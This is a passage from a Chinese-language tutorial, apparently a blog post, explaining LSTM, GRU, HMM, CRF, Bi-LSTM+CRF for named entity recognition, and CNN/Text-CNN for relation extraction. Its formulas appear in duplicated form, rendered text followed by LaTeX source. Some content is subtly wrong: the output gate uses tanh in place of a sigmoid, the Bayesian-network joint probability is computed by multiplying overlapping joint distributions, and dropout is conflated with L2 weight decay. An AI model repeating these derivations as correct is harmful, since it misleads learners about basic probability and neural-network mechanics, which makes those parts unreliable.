      (3)当 ft=1f_t=1it=0i_t=0 时,ct=ct1c_t=c_{t-1},即保留之前的内容,对新的内容不予理睬;
      (4)当 ft=1f_t=1it=1i_t=1 时,ct=ct1+ztc_t=c_{t-1}+z_t,即既保留之前的内容,又记住新的内容。
      Ps:而在实际的实验中,因为sigmod函数并不是二值的(即其是在0-1之间的一个值),因此对于 ftf_titi_t 实际上是分别决定了保留记忆过去内容和选择记住新的内容的多少,例如 ft=1f_t=1 则表示保留全部过去内容,ft=0.5f_t=0.5 则表示忘记过去的一半内容,或表示为淡化过去的记忆。

    (4)输出门:输出门则是决定输出什么内容,即对于当前时刻 tt ,若 ot=0o_t=0 则表示不输出,若 ot=1o_t=1 则表示输出:
    ot=tanh(Wxoxt+Whoht1+Wcoct+bo)o_t=tanh(W_{xo}x_t+W_{ho}h_{t-1}+W_{co}c_t+b_o)

    待输出的内容则是:
    ht=ottanh(ct)h_t=o_ttanh(c_t)

    其中 tanh(ct)tanh(c_t) 是对当前时刻记忆细胞内记住的内容进行处理使其值范围在-1至1之间。
      因此总结LSTM模型的原理:在第 tt 时刻时,首先判断是否保留过去的记忆内容,其次判断是否需要新增内容,更新记忆细胞之后再判断是否需要将当前时刻的内容输出。
      LSTM的梯度下降法仍然使用BPTT算法(因为每个门其实就是一个神经网络),梯度下降法与循环神经网络的思路和原理是一样的,此处不再推导。

    5.2 双向长短期记忆神经网络(Bi-LSTM)

      与循环神经网络一样,单向的模型不能够记住未来时刻的内容,因此采用双向模型,双向模型如图所示:

    在这里插入图片描述

    Bi-LSTM的结构与Bi-RNN模型结构一样。同一时刻在隐含层设置两个记忆单元(LSTM unit),分别按照顺时间(前向)和逆时间(后向)顺序进行记忆,最后将该时刻两个方向的输出进行拼接,即:
    ht=[ht,ht]h_t=[\overleftarrow{h_t},\overrightarrow{h_t}]

      在诸多学术论文中,对命名实体识别最常用的便是Bi-LSTM模型,该模型实体识别的精度通常高达80%。

    5.3 门控神经单元(GRU)

      门控神经单元(GRU)是LSTM的一个变种,其简化了LSTM结构,其只有重置门和更新门两个门结构,GRU单元结构如图所示:

    GRU单元

      (1)重置门:决定是否重置当前的记忆, rtr_t 的取值为0或1,0表示重置,1表示不重置:
    rt=σ(Wr[ht1,xt]+br)r_t=σ(Wr[h_{t−1},x_t]+b_r)

      (2)更新门:决定是否更新当前的心内容,待更新的内容为:
    h^t=tanh(Wh[rtht1,xt]+bh)\hat h_t=tanh⁡(W_h[r_th_{t−1},x_t]+b_h)

    更新门为 ztz_t ,取值为0或1:
    zt=σ(Wz[ht1,xt]+bz)z_t=σ(Wz[h_{t−1},x_t]+b_z)

    于是有:
    ht=(1zt)ht1+zth^th_t=(1−z_t)h_{t−1}+z_t\hat h_t

    可知当 zt=0z_t=0ht=ht1h_t=h_{t-1} ,即保留过去的内容,即不更新;当 zt=1z_t=1ht=h^th_t=\hat h_t 即更新当前时刻的内容。
      (3)模型输出:
    yt=σ(Woht+by)y_t=σ(W_oh_t+b_y)

      GRU相比LSTM只有两个门结构,运算方面更加快,同时也能实现长期记忆。例如对于句子“The cat,which already ate …,was full.”,需要模型能够正确表示为“was”而不是“were”,当处于单词“cat”时刻时,设置重置门为1,更新门为1,此时模型 hth_t 为“cat”(单数),然后经过“which”、“already”…,均设置重置门和更新门为0,此时 hth_t 的值始终是 “cat”(单数),直到遇到“was”为止。
      GRU的训练仍然为BPTT算法实现梯度下降法调参。
      Ps:GRU详解参考:GRU神经网络门控循环单元(GRU)的基本概念与原理

    六、长期依赖模型的优化

      在模型的训练过程中,容易出现梯度爆炸或梯度衰减的问题,而对于LSTM这种高维度非线性模型,容易造成不同大小梯度之间的骤降,即参数在很小的变化范围内代价函数的梯度呈现指数级别的“爆炸”。假设对于代价函数 J(W,b)J(W,b) 的梯度图如图所示:

    在这里插入图片描述

    对于含有陡峭悬崖的梯度模型,需要进行梯度截断(Gradient Clipping)。其中红色的点为最优值的位置,如果使用梯度截断法(右图),则可以使梯度在接近悬崖时降低步伐(学习率衰减),如果不使用梯度截断(左图),则可能由于过大的学习率使当前的参数被“抛出”曲面。
      截断梯度法有两种策略,一种是在参数更新前,逐元素地截断小批量产生的参数梯度;另一种策略是在参数更新前截断梯度 gg 的范数 g||g||gg 表示待更新的参数,例如权重矩阵 WW 和偏向 bb)。设 vv 是范数的上界,则梯度截断的参数更新表示为
    g:=gvgg:=\frac{gv}{||g||}

    其中 g>v||g||>v
      梯度截断法很好的解决了梯度爆炸问题,但对于梯度衰减问题则无济于事。对于LSTM模型,梯度衰减容易导致记忆内容的丢失,因此为了能够捕获长期依赖,需要优化模型的结构:
    (1)修改门结构;
    (2)修改损失函数的正则项:引导信息流的正则化

    七、概率图模型(PGM)

      在基于深度学习的命名实体识别中,使用RNN、LSTM或GRU模型是对序列数据的一种编码(encoding),虽然RNN、LSTM和GRU的输出数据也表示对实体标注的预测,但往往会出现错误。例如通常在命名实体识别中使用“BIES”表示实体词中每个单词的相对位置,其中“B”表示位于实体词的第一个位置,“I”表示位于实体词的中间位置,“E”表示位于实体词的最后一个位置,“S”表示该实体词只有一个单词(例如实体“华东师范大学”的标注序列为“BIIIIE”)。而对于RNN、LSTM的输出只会单纯的输出其是否是实体,而并未考虑相对位置,即模型可能对“华东师范大学”实体输出“BBBBBB”,显然这是个错误的。因此需要引入解码器(decoding)。
      常用的解码器可以是LSTM进行解码,在部分论文中也使用LSTM进行解码,但常用的解码器是基于概率图模型的隐马尔可夫模型和条件随机场模型。

    7.1 概率图模型概念

      概率图模型是通过图结构直观的表现出各个随机变量之间的依赖关系。图结构如图所示:

    图结构

      图 G(V,E)G(V,E) 中有 nn 个结点 V={v1,v2,...,vn}V=\{v_1,v_2,...,v_n\} 分别表示各个随机变量, X={Xv1,Xv2,...Xvn}X=\{X_{v_1},X_{v_2},...X_{v_n}\} ;边 E={e1,e2,...,em}E=\{e_1,e_2,...,e_m\} 则表示其相连的两个结点表示的随机变量的依赖关系。概率图模型分为两种:有向概率图模型和无向概率图模型。有向概率图包括贝叶斯网络,隐马尔可夫模型,无向图包括条件随机场等。

    7.2 贝叶斯网络

      贝叶斯网络又称信念网络或因果网络,其属于有向无环图,例如对于结点 v1v1v2v2 分别表示随机变量 X1X_1X2X_2 ,则随机变量 X2X_2 的概率为 p(X2X1)p(X_2|X_1) ,即变量 X1X_1X2X_2 的因。对于没有边相连的结点表示的随机变量,则两者是相互独立的。
     &emsp在概率论中,贝叶斯定理表示的条件概率与各个变量之间的关系,即:
    p(AB)=p(A)p(BA)p(B)p(A|B)=\frac{p(A)p(B|A)}{p(B)}

      假设图 G(V,E)G(V,E) 中有5个结点 V={v1,v2,v3v4v5}V=\{v_1,v_2,v_3,v_4,v_5\} 分别表示随机变量 X={Xv1,Xv2,Xv3,Xv4,Xv5}X=\{X_{v_1},X_{v_2},X_{v_3},X_{v_4},X_{v_5}\} ,有向边如图所示:

    在这里插入图片描述

    因此可知变量 X1X_1 是所有变量的因,各个变量的条件概率为:
    p(X1)=p1p(X_1)=p_1

    p(X1,X2)=p(X2X1)p(X1)=p21p1p(X_1,X_2)=p(X_2|X_1)p(X_1)=p_{21}·p_1

    p(X1,X3)=p(X3X1)p(X1)=p31p1p(X_1,X_3)=p(X_3|X_1)p(X_1)=p_{31}·p_1

    p(X1,X2,X3,X4)=p(X1,X3,X4)p(X1,X2,X4)p(X_1,X_2,X_3,X_4)=p(X_1,X_3,X_4)p(X_1,X_2,X_4)

    =p(X4X1,X3)p(X1,X3)p(X4X1,X2)p(X1,X2)=p413p31p412p21p12=p(X_4|X_1,X_3)p(X_1,X_3)·p(X_4|X_1,X_2)p(X_1,X_2)=p_{413}p_{31}·p_{412}p_{21}·p{_1}{^2}

    p(X1,X3,X5)=p(x5x1,x3)p(x1,x3)=p513p31p1p(X_1,X_3,X_5)=p(x_5|x_1,x_3)p(x_1,x_3)=p_{513}p_{31}p_1

    因此有:
    p(X1,X2,X3,X4,X5)=p(X1,X2,X3,X4)p(X1,X3,X5)=p513p413p412p21p312p12p(X_1,X_2,X_3,X_4,X_5)=p(X_1,X_2,X_3,X_4)·p(X_1,X_3,X_5)=p_{513}p_{413}p_{412}p_{21}p{_{31}}{^2}p{_{1}}{^2}

    7.2 隐马尔可夫模型(HMM)

      隐马尔可夫模型是一种特殊的贝叶斯网络,各个随机变量之间的依赖关系并不像图结构那样错综复杂,而是单纯的一条链式结构,因此称为隐马尔可夫链,如图所示:

    隐马尔可夫链

      S={S0,S1,...,Sn}S=\{S_0,S_1,...,S_n\} 表示隐含状态序列,其中 StS_t 表示第 tt 时刻的某一状态。隐马尔可夫模型的假设指出,tt 时刻状态仅受 t1t-1 时刻影响,与其他无关(即 p(StS0,S1,..,St1)=p(StSt1)p(S_t|S_0,S_1,..,S_{t-1})=p(S_t|S_{t-1})),因此 t1t-1 时刻与 tt 时刻之间存在一个有向边,表示状态的转移,用矩阵 AA 表示。每一个时刻的状态都将对应一个输出,且该时刻的输出仅与当前时刻的隐含状态有关,输出的值即为观测值,输出矩阵为 BB
      隐马尔可夫模型所表达的含义即多个随机变量含有隐含状态(内因)以及它们对应的外在表现(观测序列)。隐马尔可夫模型解决的问题主要包括评估问题、解码问题和学习问题。
      在命名实体识别中,主要应用的是解码问题。关于解码问题主要指根据已知的观测序列,推测最有可能的隐状态序列。即已知 O={O1,O2,...,On}O=\{O_1,O_2,...,O_n\}来推测 SS,通过初始化隐状态的转移概率矩阵以及各个观测值为某个状态的概率,可构建起若干条状态路径,每一条路径对应一个评分值,因此通过选择最大评分值对应的路径即为预测的隐含状态序列。在解决若干条路径的最值问题,可以参考最短路径算法或者动态规划算法来解决。
      Ps:隐马尔可夫模型的原理以及通过例子来推导解码过程可参考:HMM超详细讲解+代码隐马尔可夫模型

    7.3 条件随机场模型(CRF)

      条件随机场(CRF)是给定一组输入序列条件下另一组输出序列的条件概率分布模型,在自然语言处理中得到了广泛应用。对于命名实体识别这一类的序列标注问题,通常采用的是线性条件随机场(linear-CRF),模型如图所示:

    线性条件随机场

      线性条件随机场仍满足隐马尔可夫模型(HMM),在HMM的基础上引入特征函数 。特征函数分别为sls_ltkt_k
      (1)sl(yi,x,i)(l=1,2,...L)s_l(y_i,x,i) (l=1,2,...L)表示当前的状态特征,其只与当前状态有关,其中 LL 是定义在该节点的节点特征函数的总个数, xx 表示观测序列, ii 是当前节点在序列的位置。
      (2)tk(yi1,yi,x,i)t_k(y_{i-1},y_i,x,i) 表示当前时刻的转移特征,即由 k1k-1 时刻转移至 kk 时刻的特征函数,因此当前的状态特征与之前时刻的状态有关。
    linear-CRF的参数化形式如下:

    P(yx)=1Z(x)exp(i,kλktk(yi1,yi,x,i)+i,lμlsl(yi,x,i))P(y|x) = \frac{1}{Z(x)}exp\Big(\sum\limits_{i,k}\lambda_kt_k(y_{i-1},y_i, x,i) +\sum\limits_{i,l}\mu_ls_l(y_i, x,i)\Big)

    其中 λk\lambda_kμl\mu_l 为权重系数, Z(x)Z(x) 为归一化因子。
      线性条件随机场还有其他表示形式,包括参数化形式(即上面的表达式),也有矩阵形式,具体可参考李航的《统计学习方法》194-199页。
      条件随机场解决的问题也为三个:评估问题、解码问题和学习问题。在命名实体识别、词性标注等序列标注问题上,普遍运用CRF实现解码,并通过Viterbi算法求得最大概率的序列。

    7.4 概率图模型解决命名实体识别

      通过运用HMM和CRF模型实现命名实体识别,需要首先初始化相应的参数,例如对于HMM模型,需要初始化转移状态矩阵 AA、观测序列与状态的关联(混淆矩阵) BB ,以及初始化状态概率(即第一个时刻为某一状态的概率);对于CRF模型,需要初始化两个特征函数以及其对应的系数。其次通过观测序列和状态序列对这些参数进行训练,训练即属于三个问题中的学习问题。最后通过已学习的模型,通过训练集样本进行解码测试
      现如今非常常用的模型是Bi-LSTM+CRF,即应用Bi-LSTM实现对序列(一个句子)进行编码(encoding),使得该编码保存了整个语句的前后关系,其次将Bi-LSTM的输出通过CRF进行解码,已获取最为可能的序列标注。

    八、运用Bi-LSTM和CRF实现命名实体识别

      前面讲解了双向长短期记忆神经网络以及条件随机场概率图模型,本节将运用Bi-LSTM与CRF来实现命名实体抽取。

    8.1 数据获取与处理

      数据集可以采用自定义标注的数据,但这一类数据往往会存在很多缺陷,因此,在实验中通常使用公开训练集。
      常用的公开训练集有ACE04,ACE05,可以用来完成词性标注(命名实体识别便属于一种词性标注问题)。训练集中包含成千上万个完整的句子,主要以英文句子为主。对于词性标注问题,还将对于一个标注序列。数据通常是以JSON格式保存,在读取数据时需要进行JSON解析。
      获取数据后,该数据不能直接作为计算机的输入,需要转化为词向量。词向量可以用自己的语料库使用神经网络(CBOW或Skip-Gram模型)进行训练。实验常用谷歌训练好的词向量,其包含了上千万个语料库,相比自己训练的更加完善。
      下面以一句话“马云在杭州创办了阿里巴巴”为例,分析Bi-LSTM+CRF实现命名实体识别的训练与预测过程。实体给定范围的JSON表示为:
    {
      ‘o’:0,
      ‘B-PER’:1,
      ‘I-PER’:2,
      ‘B-LOC’:3,
      ‘I-LOC’:4,
      ‘B-ORG’:5,
      ‘I-ORG’:6
    }
    该句子每个字对于的语料库(假设共3000字)中的编号假设为:
    {
      ‘马’ : 1683,
      ‘云’ : 2633,
      ‘在’ : 2706,
      ‘杭’ : 941,
      ‘州’ : 2830,
      ‘创’ : 550,
      ‘办’ : 236,
      ‘了’ : 1436,
      ‘阿’ : 1,
      ‘里’ : 1557,
      ‘巴’ : 213,
    }
    因此该句子的one-hot向量应该为:{1683,2633,2706,941,2830,550,236,1436,1,1557,213}。其次将该one-hot向量与词嵌入矩阵word embeddings相乘,得到该句子每个字对于的词向量,因此该句子将得到一个句子向量,用 xx 表示,假设word embedding对每个词的维度为300(通常实验都设定为300),则 xx 的长度也为300。
      Ps:通常在训练数据集时,假设一个数据集中有1000个句子,通常采用的是mini-batch法进行训练,即将1000个句子分为若干组(假设分为10组),则每组将平均随机分到batch_size个句子(即每组100个句子),其次将这一组内的句子进行合并。因为每个句子长度不一致,所以取最长的句子为矩阵的列数,其他句子多余的部分则填充0。

    8.2 LSTM单元编码

      获取该句子的向量后,便将其放入LSTM的的输入层(论文中也多称为input layer或者embedding layer),每个输入神经元对应一个字的词向量,正向传播则从第一个字“马”开始,随着时间推移一直到“巴”。
      每个时刻 tt 对于的字 xtx_t 通过前向传播和后向传播并拼接得到 hth_t,其次得到 y^t\hat y_t,该值即为当前时刻 tt 对应的7个标签中每个标签预测的概率。例如对于“马”字,y^t=[0.031,0.305,0.219,0.015,0.129,0.133,0.168]\hat y_t=[0.031,0.305,0.219,0.015,0.129,0.133,0.168] ,最大的值为0.305,对应于下标1,即标签“B-PER”。

    8.3 CRF解码

      在CRF中要解决的问题之一是解码问题,对于 y^t\hat y_t 的结果不一定完全符合输出规则,因此需要将其按照输出规则进行解码。输出规则则体现在CRF中的超参数和参数。例如对于 t=5t=5 时刻,字为“州”,对应的 y^t=[0.085,0.113,0.153,0.220,0.207,0.108,0.114]\hat y_t=[0.085,0.113,0.153,0.220,0.207,0.108,0.114],可知最大的值对应下标表示的标签为“B-LOC”,虽然成功的预测了其属于地区这一类实体,但很显然应该是“I-LOC”。因此将该输出概率向量做下列计算:
    P(yty^t)=1Z(x)exp(λktk(y^t1,yt,x,t)+μlsl(yt,x,t))P(y_t|\hat y_t) = \frac{1}{Z(x)}exp\Big(\lambda_kt_k(\hat y_{t-1},y_t, x,t) +\mu_ls_l(y_t, x,t)\Big)

    然后对其他词按照该式子进行计算,通过维特比算法求出最大值,即对应的序列中,“州”字的概率向量可能变为:y^t=[0.085,0.113,0.153,0.207,0.220,0.108,0.114]\hat y_t=[0.085,0.113,0.153,0.207,0.220,0.108,0.114]
      应用Bi-LSTM和CRF模型的命名实体识别在论文《Bidirectional LSTM-CRF Models for Sequence Tagging》中被提出,可参考该论文,点击一键下载

    九、卷积神经网络

      卷积神经网络是神经网络的另一个演化体,其通常用于图像处理、视频处理中,在自然语言处理范围内,常被用来进行文本挖掘、情感分类中。因此基于文本类的卷积神经网络也广泛的应用在关系抽取任务中。

    9.1 卷积运算

      卷积神经网络主要通过卷积运算来实现对多维数据的处理,例如对一副图像数据,其像素为6x6,通过设计一个卷积核(或称过滤器)filter来对该图形数据进行扫描,卷积核可以实现对数据的过滤,例如下面例子中的卷积核可以过滤出图像中的垂直边缘,也称为垂直边缘检测器。
      例如假设矩阵:
    [301274158931272513013178421628245239] \begin{bmatrix} 3 & 0 & 1 & 2 & 7 & 4 \\ 1 & 5 & 8 & 9 & 3 & 1 \\ 2 & 7 & 2 & 5 & 1 & 3 \\ 0 & 1 & 3 & 1 & 7 & 8 \\ 4 & 2 & 1 & 6 & 2 & 8 \\ 2 & 4 & 5 & 2 & 3 & 9 \\ \end{bmatrix}

    表示一个原始图像类数据,选择卷积核(垂直边缘检测器):
    [101101101] \begin{bmatrix} 1 & 0 & -1 \\ 1 & 0 & -1 \\ 1 & 0 & -1 \\ \end{bmatrix}
    然后从原始图像左上方开始,一次向右、向下进行扫描,扫描的窗口为该卷积核,每次扫描时,被扫描的9个数字分别与卷积核对应的数字做乘积(element-wise),并求这9个数字的和。例如扫描的第一个窗口应该为:
    31+11+21+00+50+70+1(1)+8(1)+2(1)=53*1+1*1+2*1+0*0+5*0+7*0+1*(-1)+8*(-1)+2*(-1)=-5

    则最后生成新的矩阵:
    [540810223024732316] \begin{bmatrix} -5 & -4 & 0 & 8 \\ 10 & -2 & 2 & 3 \\ 0 & -2 & -4 & -7 \\ -3 & -2 & -3 & -16 \\ \end{bmatrix}

      以上的事例称为矩阵的卷积运算。在卷积神经网络中,卷积运算包括如下几个参数:
    (1)数据维度:即对当前需要做卷积运算的矩阵的维度,通常为三维矩阵,维度为 mndm*n*d
    (2)卷积核维度:即卷积核的维度,记为 ffdf*f*d ,当d为1时,为二维卷积核,通常对二维矩阵进行卷积运算,当 d>1d>1 时为三维卷积核,对图像类型数据进行卷积运算。
    (3)卷积步长stride:即卷积核所在窗口在输入数据上每次滑动的步数。上面的事例中明显步长为1。
    (4)数据填充padding:在卷积操作中可以发现新生产的矩阵维度比原始矩阵维度变小,在一些卷积神经网络运算中,为了保证数据维度不变,设置padding=1,对原始矩阵扩充0。这种方式可以使得边缘和角落的元素可以被多次卷积运算,也可以保证新生成的矩阵维度不变。可以计算出每个维度应该向外扩充 f1f-1d1d-1

    9.2 卷积神经网络的结构

      卷积神经网络的基本结构如图所示:

    卷积神经网络结构

    其主要有输入层、卷积层、池化层、全相连接层和输出层组成,其中卷积层与池化层通常组合在一起,并在一个模型中循环多次出现。
    (1)输入层:输入层主要是将数据输入到模型中,数据通常可以是图像数据(像素宽*像素高*三原色(3)),也可以是经过处理后的多维数组矩阵。
    (2)卷积层:卷积层主要是对当前的输入数据(矩阵)进行卷积运算,9.1节简单介绍了卷积运算,下面对卷积运算进行符号化表示:
      设当前的输入数据为图像 G(GRmnd)G(G\in\mathbb R^{m*n*d}) ,其中 mm 表示 GG 的宽, nn 表示 GG 的高, dd 表示 GG 的层数。
      设卷积神经网络有2次卷积和池化操作(如上图),两次卷积操作分别有 c(s)(s=1,2)c^{(s)}(s=1,2) 个卷积核 C(s,t)(t[1,c(s)])C^{(s,t)}(t\in\mathbb [1,c^{(s)}])(每个卷积核各不相同,不同的卷积核可以对原始图像数据进行不同方面的特征提取),每个卷积核的维度设为 fsfsdf_s*f_s*d (卷积核维度一般取奇数个,使得卷积核可以以正中间的元素位置中心对称,卷积核的层数需要与上一轮输出的数据层数一致),因此对于第 ss次中的第 tt 个卷积核的卷积操作即为:
    Gpq(s,t)=k=1di=pp+fsj=qq+fsCijk(s,t)Ppq(s1,t)G_{pq}^{(s,t)}=\sum_{k=1}^{d}\sum_{i=p}^{p+f_s}\sum_{j=q}^{q+f_s}C^{(s,t)}_{ijk}*P_{pq}^{(s-1,t)}

    其中 pqpq 表示卷积后的矩阵的第p行第q列, Ppq(s1,t)P_{pq}^{(s-1,t)} 表示第 s1s-1 次卷积池化操作后的池化层值,P(0,1)P^{(0,1)} 即为原始图像数据 GG
      卷积运算后,将生成 c(s)c^{(s)} 个维度为 m+2paddingfsstriden+2paddingfsstride\lfloor \frac{m+2*padding-f_s}{stride}*\frac{n+2*padding-f_s}{stride} \rfloor 的新矩阵
      Ps:公式是三层循环求和,在程序设计中可以使用矩阵的对应位置求积。
    (3)池化层(polling):池化层作用是为了降低卷积运算后产生的数据维度,池化操作包括最大池化(max-polling)和平均池化(avg-polling)。
      池化操作是一种特殊的卷积,其并不像卷积操作一样逐个相乘,对于最大池化,是取当前所在窗口所在的数据中最大的数据;对于平均池化则是取当前窗口所有值的平均值。池化层的窗口维度一般为2*2,窗口的滑动步长stride=2。例如对于9.1节中经过卷积操作的矩阵的池化操作后应为:
    [540810223024732316]maxpolling[10803] \begin{bmatrix} -5 & -4 & 0 & 8 \\ 10 & -2 & 2 & 3 \\ 0 & -2 & -4 & -7 \\ -3 & -2 & -3 & -16 \\ \end{bmatrix} \stackrel{max-polling}{\longrightarrow} \begin{bmatrix} 10 & 8 \\ 0 & -3 \\ \end{bmatrix}

    [540810223024732316]avgpolling[0.253.251.757.5] \begin{bmatrix} -5 & -4 & 0 & 8 \\ 10 & -2 & 2 & 3 \\ 0 & -2 & -4 & -7 \\ -3 & -2 & -3 & -16 \\ \end{bmatrix} \stackrel{avg-polling}{\longrightarrow} \begin{bmatrix} -0.25 & 3.25 \\ -1.75 & -7.5 \\ \end{bmatrix}

      池化层可以通过提取出相对重要的特征来减少数据的维度(即减少数据量),即减少了后期的运算,同时可以防止过拟合。第 ss 次卷积池化操作中,对第 tt 个卷积核过滤生成的矩阵进行最大或平均池化操作的符号表示如下:
    Pij(s,t)=max(Gij(s,t),Gij+1(s,t),Gi+1j(s,t)Gi+1j+1(s,t))P_{ij}^{(s,t)}=max(G_{ij}^{(s,t)},G_{ij+1}^{(s,t)},G_{i+1j}^{(s,t)},G_{i+1j+1}^{(s,t)})

    Pij(s,t)=avg(Gij(s,t),Gij+1(s,t),Gi+1j(s,t)Gi+1j+1(s,t))P_{ij}^{(s,t)}=avg(G_{ij}^{(s,t)},G_{ij+1}^{(s,t)},G_{i+1j}^{(s,t)},G_{i+1j+1}^{(s,t)})

      池化操作后矩阵的数量不变,仅仅是维度变小了。
    (4)全相连层:在多次卷积和池化运算后,将生成若干个小矩阵,通过concatenate操作,将其转换为一维度的向量。例如有16个10*10的矩阵,其可以拼接成一个长度为400的向量。全相连层是通过构建一个多层的BP神经网络结构,通过每一层的权重矩阵和偏向的前向传播,将其不断的降维。全相连层的输入神经元个数即为拼接形成向量的个数,隐含层个数及每层的神经元数量可自定义,输出层的神经元个数通常为待分类的个数。
    (5)softmax层:与传统的神经网络和循环神经网络类似,最终的全相连层的输出是每个类别的概率值,因此需要对其进行softmax操作,则最大值所对应的的类记为卷积神经网络的预测结果。

    9.3 卷积神经网络的训练

      卷积神经网络的训练与BP神经网络一样,选择损失函数 LL 刻画模型的误差程度,选择最优化模型(梯度下降法)进行最小化损失函数。
      卷积神经网络的超参数包括卷积池化的次数 ss、每次卷积池化操作中卷积核的个数 c(s)c^{(s)}和其维度 fsf_s 、卷积操作中是否填充(padding取值0或1)、卷积操作中的步长stride、池化层的窗口大小(一般取2)及池化类型(一般取max-polling)、全相连的层数及隐含层神经元个数、激活函数和学习率 α\alpha 等。参数包括卷积层的每个卷积核的值、全相连层中权重矩阵和偏向。卷积神经网络即通过梯度下降法不断对参数进行调整,以最小化损失函数。
      卷积神经网络的训练过程分为前向传播和反向传播,前向传播时需要初始化相关的参数和超参数,反向传播则使用梯度下降法调参。梯度下降的优化中也采用mini-batch法、采用Adam梯度下降策略试图加速训练,添加正则项防止过拟合。

    十、基于文本的卷积神经网络(Text-CNN)的关系抽取

      卷积神经网络已经成功地广泛应用与图像识别领域,而对于文本类数据近期通过论文形式被提出。在2014年,纽约大学的Yoon Kim发表的《Convolutional Neural Networks for Sentence Classification》一文开辟了CNN的另一个可应用的领域——自然语言处理。
      Yoon提出的Text-CNN与第九节的卷积神经网络有一定区别,但设计思想是一样的,都是通过设计一个窗口并与数据进行计算。

    10.1 数据处理

      基于文本的Text-CNN的输入数据是预训练的词向量word embeddings,词向量可参考本文的第2节内容。对于一句话中每个单词均为 kk 维的词向量,因此对于长度为 nn 的一句话则可用维度为 nkn*k 的矩阵 xx 表示,如图所示:


    concatenate

    10.2 Text-CNN的结构

    (1)卷积层: 对某一句话对应的预训练的词向量矩阵维度为 nkn*k ,设计一个过滤器窗口 WW ,其维度为 hkh*k,其中 kk 即为词向量的长度,hh 表示窗口所含的单词个数(Yoon 在实验中设置了 hh 的取值为2、3、4)。其次不断地滑动该窗口,每次滑动一个位置时,完成如下的计算:
    ci=f(Wxi:i+h1+b)c_i=f(W·x_{i:i+h-1}+b)

    其中 ff 为非线性激活函数,x_{i:i+h-1}表示该句子中第 iii+h1i+h-1 的单词组成的词向量矩阵,W·x_{i:i+h-1}表示两个矩阵的对应位乘积,cic_i 表示当前窗口位置的取值。
      因此对于长度为 nn 的句子,维度为 hkh*k 的过滤器窗口将可以产生 nh+1n-h+1 个值组成的集合:
    c={c1,c2,...cnh+1}c=\{c_1,c_2,...c_{n-h+1}\}

    (2)最大池化层:为了能够提取出其中最大的特征,Yoon对其进行max-over-time操作,即取出集合 cc 中的最大值 c^=maxc\hat c=max{c}。另外可以分析得到max-over-time操作还可以解决每句话长度不一致的问题。

      Text-CNN的结构如图所示:

    在这里插入图片描述

    (3)全相连层:对于 mm 个过滤器窗口,将产生 mm 个值组成的向量 z=[c^1,c^2,...,c^m]z=[\hat c_1,\hat c_2,...,\hat c_m],Text-CNN通过设置一个全相连层,将该向量映射为长度为 ll 的向量, ll 即为待预测的类的个数,设置softmax激活函数即可转换为各个类的概率值。

    10.3 Text-CNN的训练

      Text-CNN的前向传播即为上图所示流程。反向传播采用梯度下降法
    (1)正则化防止过拟合
      对于 mm 个过滤器窗口产生的向量 z=[c^1,c^2,...,c^m]z=[\hat c_1,\hat c_2,...,\hat c_m] ,则输出值为 y=wz+by=w·z+b,为了防止过拟合,采用 l2l_2 dropout权重衰减法,表达式为:
    y=w(zr)+by=w·(z\circ r)+b

    其中 \circ 表示对应位置相乘, rr 表示以概率 pp 产生只含有0或1元素的矩阵, p=0.5p=0.5 则表示可能矩阵 rr 中有一半的元素为1 。
      在测试环境,则为了限制 l2l_2 范式的权重矩阵,设置 w2=s||w||_2=s ,当w2>s||w||_2>s 时进行梯度下降的调整。
      Ps:l2l_2正则化权重衰减可参考:正则化方法:L1和L2 regularization、数据集扩增、dropout
    (2)超参数设置:Yoon设置了一系列超参数如下:

    超参数 取值
    window(hh值) 3/4/5
    dropout(pp值) 0.5
    l2l_2ss值) 3
    mini-batch 50

    10.4 Text-CNN应用于关系抽取

      Text-CNN在句子分类方面有不错的效果,而对于关系抽取问题,可以将其视为句子分类任务。
      假设长度为 nn 具有 mm 个实体的句子 x={x1,x2,...,xn}x=\{x_1,x_2,...,x_n\} ,其中实体分别为 e(i)={xt1(i),xt2(i),...,xtki(i)}e^{(i)}=\{x_{t_1}^{(i)},x_{t_2}^{(i)},...,x_{t_{k_i}}^{(i)}\},其中i,tki[2,m]i,t_{k_i}\in\mathbb[2,m]kik_i 表示第 ii 个实体的长度。该句子内所有实体将组成一个集合 Ex={e(1),e(2),...,e(m)}E_x=\{e^{(1)},e^{(2)},...,e^{(m)}\} 。任意取集合 ExE_x 中的两个实体作为一个组合 (e(a),e(b))(e^{(a)},e^{(b)}),其中 (a<b)(a<b) ,并考察其是否具有关系,关系表示为 ra,br_{a,b} ,其取值为 {0,1,2,...,r}\{0,1,2,...,r\}rr 表示关系类标个数,即预设的试题关系的种类,每一个关系对应一个整数,0则表示没有关系。因此对于一个包含 mm 个实体 ExE_x 的句子 xx 将产生 h=Cm2=m(m1)2h=C_m^2=\frac{m(m-1)}{2} 个关系组合 Rx={r1,2,r1,3,...,rm1,m}R_x=\{r_{1,2},r_{1,3},...,r_{m-1,m}\}
      是将一句话 xx 中不同组合的实体及其之间的所有单词组成一个新子句,并将其对应的word embeddings作为输入数据。子句 xi,j={e(i),xtki+1(i),...,xtkj1(i),e(j)}x_{i,j}=\{e^{(i)},x_{t_{k_i}+1}^{(i)},...,x_{t_{k_j}-1}^{(i)},e^{(j)}\} ,其对应的关系类标为 ri,jr_{i,j} ,因此对于 xx 将有 hh 个子句组成的样本集 X={(xi,j,ri,j)i<j,i,j[1,h]}X=\{(x_{i,j},r_{i,j})|i<j,i,j\in\mathbb[1,h]\}
      对于该样本,由于每个子句的长度不一致,因此需要进行填充0方式使各个子句长度一致,然后将其喂给Text-CNN。Text-CNN采用mini-batch法进行梯度下降,其训练过程可参考10.3节内容。
      Ps:在诸多论文中都有表示,两个实体是否具有关系与其相对距x离有关系,而一般来说两者的距离超过25(即两个实体之间有超过25个单词),则两个实体具有关系的概率将会趋近于0,因此认为实体在一个句子内会产生关联,而不在同一个句子内认为不具有关联性,当然这种假设也存在一定的问题,但在实验中影响不大。
      

    十一、基于依存关系模型的关系抽取

      卷积神经网络可以很好的对实体与实体关系进行分类,而在自然语言处理中,通常会对句子进行句法分析,通过不同语言的语法规则建立起模型——依存关系。基于依存关系的关系抽取是该模型的一个应用方向,其主要是通过句法分析实现,而不是通过深度模型自动挖掘。本文虽然主要是以深度学习角度分析,但传统的“浅层态”模型也需要了解,以方便将其与深度模型进行整合。

    11.1依存句法分析

